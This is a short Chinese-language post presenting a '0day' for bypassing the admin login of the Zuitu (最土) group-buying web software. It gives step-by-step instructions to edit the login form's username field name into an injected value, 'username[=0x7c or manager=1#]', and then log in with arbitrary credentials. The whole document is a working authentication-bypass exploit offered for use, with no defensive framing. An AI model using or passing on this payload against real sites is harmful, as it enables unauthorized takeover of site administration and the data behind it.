最土团购网 BYPASS登录后台0day

1：后台地址manage/login.php

 

2.右键查看源代码。找到以下代码：

 

<div><labelfor="manage-login">登录名</label><inputtype="text"size="30"name="username"id="manage-username"datatype="require"require="true"/></div>

3.将其中的name="username" 修改为：name="username[=0x7c or manager=1#]",点击浏览器上的应用保存（op浏览器下）。 

4.直接在账号s,密码s进行登陆后台。